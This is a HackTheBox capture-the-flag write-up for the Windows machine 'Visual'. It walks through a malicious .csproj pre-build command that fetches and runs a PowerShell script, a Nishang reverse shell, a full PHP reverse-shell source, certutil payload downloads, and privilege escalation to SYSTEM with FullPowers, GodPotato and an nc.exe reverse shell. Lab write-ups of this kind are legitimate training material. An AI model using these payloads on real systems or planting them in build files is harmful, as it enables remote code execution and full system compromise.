Visual – HackTheBox Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: HackTheBox
User Link to heading
Nmap
scan only shows 1 port open: 80
HTTP
.
❯ sudo nmap -sVC -p80 10.10.11.234 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 19:36 -03
Nmap scan report for 10.10.11.234
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds
Visiting this site we can see the following:
The site apparently builds, from source, codes for Visual Studio
. The only think we can add as a user is a Git
repository:
To check how it works, we can start a simple netcat
listener on port 3000
(the default port for Gitea
, just in case a firewall is preventing connection from other ports).
nc -lvnp 3000
and in the website I pass my attacker IP with some random .git
file, just to test how it works:
where 10.10.16.6
is my attacker IP.
After some seconds after passing the url, in the netcat
listener I get:
❯ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49671
GET /info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.16.6:3000
User-Agent: git/2.41.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2
Since I don’t see testing.git
anywhere in the request I might not be able to inject code, so I discard that. Also, based on Git documentation this is just how cloning a repository works.
To emulate a custom repository I will use Gitea
with Docker
. Assuming that we have Docker
installed in our machine (I use Kali Linux so I followed these steps), first start Docker
service:
❯ sudo systemctl start docker
Check if it is running:
❯ sudo systemctl status docker
● docker.service - Docker Application Container Engine
Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; preset: enabled)
Active: active (running) since Wed 2024-02-21 20:02:04 -03; 1min 6s ago
TriggeredBy: ● docker.socket
<SNIP>
Download the images:
❯ sudo docker pull gitea/gitea
Using default tag: latest
latest: Pulling from gitea/gitea
619be1103602: Pull complete
172dd90f8cd3: Pull complete
e351dffe3e2e: Pull complete
23115583656f: Pull complete
29191722a758: Pull complete
365242e44775: Pull complete
2b8d3024c169: Pull complete
Digest: sha256:a2095ce71c414c0c6a79192f3933e668a595f7fa7706324edd0aa25c8728f00f
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest
Check if the container has been downloaded and is detected by Docker
:
❯ sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
gitea/gitea latest bf95d9a45ce4 2 weeks ago 160MB
And, finally, start the service:
❯ docker run -d -p 127.0.0.1:3000:3000 -p 10.10.16.6:3000:3000 --name gitea-container gitea/gitea:latest
so I start the service in both services: localhost
and on my public tun0
network IPv4 address (the one from HackTheBox), so the target machine can have connectivity to my machine.
If this worked, now we should have Gitea
running on our localhost
on port 3000
:
❯ lsof -i:3000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
firefox-e 25194 gunzf0x 82u IPv4 98328 0t0 TCP localhost:44248->localhost:3000 (ESTABLISHED)
We can use our web browser to visit http://localhost:3000
or http://10.10.16.6:3000
(my attacker IPv4 address) and see that Gitea
is running. I recommend you to leave everything by default. Note: If you use a different SQL
database than the one that comes by default (SQLite
) the service might present some problems.
We can now register with a username and log in with that username in Gitea
service
If everything worked we should have a site like this:
I will recreate an already existing repository. I clone this repository on my machine (which is a simple C#
random project I have chosen from Github):
❯ git clone https://github.com/rushakh/copy-pasting-machine.git
Cloning into 'copy-pasting-machine'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (21/21), done.
remote: Total 22 (delta 2), reused 18 (delta 1), pack-reused 0
Receiving objects: 100% (22/22), 17.39 KiB | 301.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.
On Gitea
, create a new repository clicking on the +
symbol at the top right, and then on New Repository
:
and we should have something like this:
testing
to copy-pasting-machine
to avoid conflict between the cloned repository and my Gitea
repository since we will need to “build” the files as we will see later.I create a directory called gitea-repo
, enter in that directory and follow the instructions from Creating a new repository on the command line
to add files
Then copy everything inside this cloned repo (the original copy-pasting-machines
repository), except the .git
folder, and past it to gitea-repo
directory (the directory containing copy-pasting-machine.git
repo files)
❯ cd gitea_repo/
ls -la
total 20
drwxr-xr-x 4 gunzf0x gunzf0x 4096 Feb 21 22:03 .
drwxr-xr-x 4 gunzf0x gunzf0x 4096 Feb 21 22:02 ..
-rw-r--r-- 1 gunzf0x gunzf0x 1124 Feb 21 22:03 CopyPasteMachine.sln
drwxr-xr-x 8 gunzf0x gunzf0x 4096 Feb 21 22:04 .git
-rw-r--r-- 1 gunzf0x gunzf0x 0 Feb 21 22:01 README.md
drwxr-xr-x 3 gunzf0x gunzf0x 4096 Feb 21 22:03 'trying media'
❯ git add .
❯ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://localhost:3000/gunzf0x/copy-pasting-machine.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
And commit and push all the new files:
❯ git commit -m "Cloning repo"
❯ git push origin main
Now our repository in Gitea
should look like this:
Now, back to the HTTP
website in Submit Your Repo
I past the link: http://10.10.16.6:3000/gunzf0x/copy-pasting-machine.git
After some time, the site builds my files:
I note that when the repository does not have a .sln
file it fails.
Also if we check how files are built in MSBuild Projects we can see that it is possible to inject commands. A simple malicious .csproj
file would look like:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net7.0</TargetFramework>
<RootNamespace>project_name</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.16:80/rev.ps1')" />
</Target>
</Project>
where 10.10.16.6
is my attacker IP and rev.ps1
a Powershell
script.
In my case I will use Invoke-PowerShellTcp.ps1
from Nishang
, that can be downloaded here
I edit Invoke-PowerShellTcp.ps1
, which I will rename as rev.ps1
, in a text editor and add at the end of the file the following:
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.6 -Port 443
so the server will execute a reverse shell instantly when the request is made by the .csproj
file.
I create a backup file for the original .csproj
file, just in case this fails. This file is located, in the repository I cloned, within the directory trying media
:
❯ cd trying\ media
❯ cp CopyPasteMachine.csproj CopyPasteMachine_backup.csproj
and then modify CopyPasteMachine.csproj
with the malicious .csproj
script above. I submit the changes to the Gitea
repo.
I start a Python
HTTP
server on port 80
, in the same directory where rev.ps1
is located, and in another panel/terminal I start a nc
listener on port 443
. In the webpage I finally submit the repo Submit Your Repo
with the link http://10.10.16.6:3000/gunzf0x/copy-pasting-machine.git
, but with the malicious csproj
file and obtain a reverse shell:
We can get the user flag on user’s desktop.
NT Authority\System - Administrator Link to heading
We are logged in as user visual\enox
. Looking for my privileges:
PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media>
I cannot see something interesting
I uploaded Sherlock.ps1
(which can be downloaded from its Github repository), but did not detect any exploit.
Now, usually webservers have the SeImpersonatePrivilege
privilege (or we can try to enable it). However, at the moment we are the user visual\enox
. For this reason I upload the following PHP
reverse shell and attempt to get another connection, but this time from the webserver user itself. So we do this to change/pivot to another user. I will call this file revshell.php
:
<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
private $sdump = true; // script's dump
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
$os = PHP_OS;
if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
// once daemonized, you will actually no longer see the script's dump
} else if (posix_setsid() < 0) {
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
if ($this->sdump) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$size = fstat($input)['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// so we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.6', 4000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
where, again, 10.10.16.6
is my attacker IP and 4000
is the port I will start listening with nc
.
I start a Python
HTTP
server on port 80
in the same directory where revshell.php
is located.
I start a nc
listener on port 4000
. Then, on the reverse shell obtained with Nishang
, I run:
PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media> Invoke-WebRequest -Uri http://10.10.16.6/revshell.php -OutFile C:\xampp\htdocs\uploads\revshell.php
and write the file where the HTTP
server usually locates its files in Windows
, at C:\xampp\htdocs
.
I can trigger this reverse shell with:
❯ curl http://10.10.11.234/uploads/revshell.php
and I get a reverse shell:
❯ rlwrap nc -lvnp 4000
listening on [any] 4000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49691
SOCKET: Shell has connected! PID: 4352
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\uploads>whoami
nt authority\local service
C:\xampp\htdocs\uploads>
but, as can we see here, now we are the user nt authority\local service
.
From the new shell, I download FullPowers
from its oficial repository using certutil
(after serving, again, a Python
HTTP
server on port 80
):
C:\Windows\Temp>cd C:\Users\Public\Downloads
C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6/FullPowers.exe .\FullPowers.exe
**** Online ****
0000 ...
9000
CertUtil: -URLCache command completed successfully.
and we pass from this:
C:\Users\Public\Downloads>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
to this:
C:\Users\Public\Downloads>.\FullPowers.exe
[+] Started dummy thread with id 1888
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
so we have enabled the SeImpersonatePrivilege
, which can be abused to escalate privileges.
Note that we are in C:\Windows\system32
folder after we use FullPowers
, so I move again to a directory where we actually can write files like C:\Users\Public\Desktop\Downloads
.
Finally, I pass netcat
binary for Windows
, and JuicyPotato
using certutil
to abuse SeImpersonatePrivilege
. But they did not work (so do not lose your time).
Next, I will try to use GodPotato
. In its Github repository. we have different binaries for different .NET
versions. To check which version we have to download, I run in the victim machine:
C:\Users\Public\Downloads>reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0
so we need to download NET4
version.
Once downloaded I pass it to the target machine and check if this works:
C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6/godpotato-net4.exe .\godpotato.exe
**** Online ****
0000 ...
e000
CertUtil: -URLCache command completed successfully.
C:\Users\Public\Downloads>.\godpotato -cmd "cmd /c whoami"
[*] CombaseModule: 0x140715858722816
[*] DispatchTable: 0x140715861028976
[*] UseProtseqFunction: 0x140715860405152
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\79e3465c-95bf-41d8-9539-53f788c911a2\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00009802-10ac-ffff-d1e0-c475845222f4
[*] DCOM obj OXID: 0xf22c1c8cc040bd7
[*] DCOM obj OID: 0xa93e722cc15a4aa
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 884 Token:0x644 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1692
nt authority\system
and it does, so I throw a reverse using the netcat
binary I have already transferred to the machine when I tried to use JuicyPotato
(but failed).
I start a netcat
listener on port 443
and run in the victim machine:
C:\Users\Public\Downloads>.\godpotato -cmd "cmd /c C:\Users\Public\Downloads\nc.exe 10.10.16.6 443 -e cmd"
and I get a reverse shell:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49726
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Downloads>whoami
whoami
nt authority\system
C:\Users\Public\Downloads>
We can get the flag at Administrator’s desktop.
~Happy Hacking